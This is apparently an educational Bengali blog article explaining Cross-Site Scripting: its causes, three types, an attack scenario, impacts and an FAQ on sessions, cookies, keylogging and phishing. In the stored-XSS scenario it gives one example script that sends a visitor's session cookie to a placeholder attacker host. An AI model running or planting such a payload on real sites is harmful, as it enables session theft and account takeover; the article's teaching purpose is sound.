Home » XSS Attack কী? (বিস্তারিত ব্যাখ্যা)

XSS Attack কী? (বিস্তারিত ব্যাখ্যা)

by ITAB Content Team

XSS Attack (Cross-Site Scripting) হলো ওয়েব অ্যাপ্লিকেশন এর একটি জনপ্রিয় সিকিউরিটি দুর্বলতা, যেখানে আক্রমণকারী কোনো ওয়েবসাইটে ক্ষতিকর জাভাস্ক্রিপ্ট (JavaScript) কোড ইনজেক্ট করতে পারে এবং সেই কোডটি পরবর্তীতে অন্য ব্যবহারকারীর ব্রাউজারে রান করে।

সহজ ভাষায় বললে, XSS এমন একটি আক্রমণ যেখানে ওয়েবসাইটের বিশ্বাসযোগ্যতার সুযোগ নিয়ে, ব্যবহারকারীর ব্রাউজারের ভেতরে আক্রমণকারীর লেখা স্ক্রিপ্ট চালানো হয়। XSS অনেক সময় injection vulnerability এর একটি রূপ হিসেবে কাজ করে।

এই স্ক্রিপ্ট ব্যবহার করে আক্রমণকারী ব্যবহারকারীর:

  • Login session চুরি করতে পারে
  • Cookie hijack করতে পারে
  • Keylogging চালাতে পারে
  • ভুয়া ফর্ম দেখিয়ে তথ্য চুরি করতে পারে
  • ব্যবহারকারীকে অন্য ক্ষতিকর সাইটে পাঠাতে পারে

সবচেয়ে ভয়ংকর বিষয় হলো, এখানে সার্ভার হ্যাক না করেও ব্যবহারকারীর উপর সরাসরি আক্রমণ সম্ভব। XSS এর মাধ্যমে attacker session hijack করতে পারে, যা authentication failure এর দিকে নিয়ে যায়

XSS Attack কীভাবে তৈরি হয়?

XSS মূলত তৈরি হয় যখন কোনো ওয়েব অ্যাপ্লিকেশন:

  • ব্যবহারকারীর ইনপুট (input) যথাযথভাবে যাচাই (validation) করে না (example: search box, comment box etc
  • আউটপুট দেখানোর সময় ডেটা সঠিকভাবে encode করে না
  • HTML, JavaScript বা URL context আলাদা করে handle করে না

যেসব জায়গায় XSS বেশি হয়:

  • Search box
  • Comment section
  • Review form
  • Profile name / bio
  • URL parameter
  • Contact form

XSS Attack এর প্রধান ধরন

  1. Stored XSS: ক্ষতিকর স্ক্রিপ্ট ডাটাবেজে সংরক্ষিত থাকে এবং প্রতিবার পেজ লোডে চালু হয়।
  2. Reflected XSS: ইনপুট সরাসরি URL বা request থেকে response এ ফিরে আসে।
  3. DOM-based XSS: সার্ভার নয়, ব্রাউজারের JavaScript DOM manipulation এর মাধ্যমে ঘটে।

XSS Attack Scenario (আরও বিস্তারিতভাবে)

ধরা যাক, একটি নিউজ ওয়েবসাইটে পাঠকদের জন্য কমেন্ট করার অপশন রয়েছে।

Scenario Step-by-Step

  1. আক্রমণকারী কমেন্ট বক্সে নিচের মতো কোড লিখে: <script> fetch("https://attacker-site.com/steal?cookie=" + document.cookie); </script> ওয়েবসাইটটি ইনপুট sanitize না করেই comment সংরক্ষণ করে যেটি কিনা (Stored XSS).
  2. এখন যেকোনো ব্যবহারকারী সেই আর্টিকেলটি খুললেই, স্ক্রিপ্টটি তার ব্রাউজারে রান করে এবং তার session cookie আক্রমণকারীর সার্ভারে চলে যায়।
  3. আক্রমণকারী ঐ cookie ব্যবহার করে, ভিকটিমের অ্যাকাউন্টে লগইন করে, তার নাম ব্যবহার করে পোস্ট করতে পারে।

আরও বাস্তব উদাহরণ

একটি ই-কমার্স সাইটে প্রোডাক্ট রিভিউ সেকশন আছে। আক্রমণকারী সেখানে জাভাস্ক্রিপ্ট কোড ব্যবহার করে এমন একটি fake popup দেখায়:

“Your session expired. Please login again.”

ব্যবহারকারী বিশ্বাস করে ইউজারনেম ও পাসওয়ার্ড দেয়। এই তথ্য সরাসরি আক্রমণকারীর কাছে চলে যায়, এটাই XSS powered phishing.

কেন XSS Attack এতটা ভয়ংকর?

XSS Attack ভয়ংকর হওয়ার কারণগুলো নিচে বিস্তারিতভাবে ব্যাখ্যা করা হলো:

1. User Trust Exploitation

ব্যবহারকারী বিশ্বাস করে সে একটি নিরাপদ ওয়েবসাইটে আছে। XSS সেই বিশ্বাসকে অস্ত্র হিসেবে ব্যবহার করে।

2. Session Hijacking

একবার session cookie চুরি হলে: অ্যাকাউন্ট টেকওভার সহজ হয়ে যায়, পাসওয়ার্ড না জেনেও লগইন সম্ভব।

3. Client-Side Attack

ফায়ারওয়াল বা সার্ভার সিকিউরিটি শক্ত হলেও ব্যবহারকারীর ব্রাউজার সরাসরি আক্রান্ত হয়।

4. Large Scale Impact

Stored XSS হলে:

  • হাজার হাজার ব্যবহারকারী একসাথে আক্রান্ত হতে পারে
  • একবার ইনজেক্ট করলেই বারবার কাজ করে

5. Brand Reputation Damage

ব্যবহারকারীর ডেটা চুরি হলে:

  • প্রতিষ্ঠানের বিশ্বাসযোগ্যতা নষ্ট হয়
  • আইনি ঝুঁকি তৈরি হয়
  • GDPR / Data Protection আইন লঙ্ঘন হতে পারে

XSS-এর প্রভাব

  • Facebook, Twitter, eBay-এর মতো বড় প্ল্যাটফর্মেও XSS দুর্বলতা ধরা পড়েছে
  • অনেক ক্ষেত্রে শুধু একটিকমেন্ট বক্স থেকেই পুরো user base ঝুঁকিতে পড়েছে
  • বাগ বাউন্টি রিপোর্টে XSS এখনো অন্যতম সাধারণ vulnerability

সাধারণ জিজ্ঞাসা / FAQ (Frequently Asked Questions)

Login session কি?

Login session হলো এমন একটি প্রক্রিয়া যেখানে ব্যবহারকারী লগইন করার পর সার্ভার তাকে একটি নির্দিষ্ট সময় পর্যন্ত শনাক্ত করে রাখে, যাতে বারবার পাসওয়ার্ড দিতে না হয়। এটি ব্যবহারকারীর অভিজ্ঞতা সহজ করে, তবে সঠিকভাবে সুরক্ষিত না হলে session hijacking-এর ঝুঁকি তৈরি হতে পারে।

Login session কীভাবে কাজ করে?

লগইনের পর সার্ভার একটি session ID তৈরি করে এবং ব্রাউজারে সংরক্ষণ করে। এই session ID দিয়েই সার্ভার ব্যবহারকারীকে চেনে।

Login session হাইজ্যাক করা যায় কীভাবে?

যদি session ID চুরি হয়ে যায় (যেমন unsecured WiFi, XSS attack ইত্যাদি), তাহলে আক্রমণকারী ব্যবহারকারীর অ্যাকাউন্টে প্রবেশ করতে পারে।

Cookie Hijacking কীভাবে কাজ করে?

Cookie hijacking হলো এমন একটি আক্রমণ যেখানে হ্যাকার ব্যবহারকারীর ব্রাউজার থেকে session cookie চুরি করে এবং সেই cookie ব্যবহার করে অ্যাকাউন্টে অবৈধভাবে প্রবেশ করে। সাধারণত unsecured network বা XSS vulnerability এর মাধ্যমে এটি ঘটে।

Keylogging কী এবং এটি কতটা বিপজ্জনক?

Keylogging হলো এমন একটি কৌশল যেখানে আক্রমণকারী ব্যবহারকারীর টাইপ করা প্রতিটি কীস্ট্রোক রেকর্ড করে। এর মাধ্যমে পাসওয়ার্ড, ব্যাংকিং তথ্য বা ব্যক্তিগত বার্তা চুরি করা সম্ভব, যা অত্যন্ত ঝুঁকিপূর্ণ।

Cookie কী এবং এটি কী কাজে ব্যবহার হয়?

Cookie হলো ছোট একটি ডাটা ফাইল যা ওয়েবসাইট ব্রাউজারে সংরক্ষণ করে, ব্যবহারকারীর তথ্য মনে রাখার জন্য। এটি লগইন স্ট্যাটাস, পছন্দের সেটিংস বা শপিং কার্ট তথ্য সংরক্ষণে ব্যবহৃত হয়।

Phishing আক্রমণ কীভাবে সনাক্ত করবেন?

Phishing হলো প্রতারণামূলক কৌশল যেখানে ভুয়া ইমেইল, মেসেজ বা ওয়েবসাইটের মাধ্যমে ব্যবহারকারীর ব্যক্তিগত তথ্য নেওয়ার চেষ্টা করা হয়। সন্দেহজনক লিংক, ভুল বানান, অচেনা প্রেরক বা জরুরি ভয়ভীতি সৃষ্টিকারী ভাষা phishing-এর সাধারণ লক্ষণ।

Bug Bounty প্রোগ্রাম কী এবং কেন এটি গুরুত্বপূর্ণ?

Bug bounty হলো এমন একটি প্রোগ্রাম যেখানে কোম্পানি তাদের সিস্টেমের নিরাপত্তা দুর্বলতা খুঁজে বের করার জন্য নিরাপত্তা গবেষকদের পুরস্কার প্রদান করে। এটি প্রতিষ্ঠানের নিরাপত্তা উন্নত করতে সহায়তা করে এবং নৈতিক হ্যাকারদের উৎসাহিত করে।

Was this article helpful?
Yes0No0

You may also like

Leave a Comment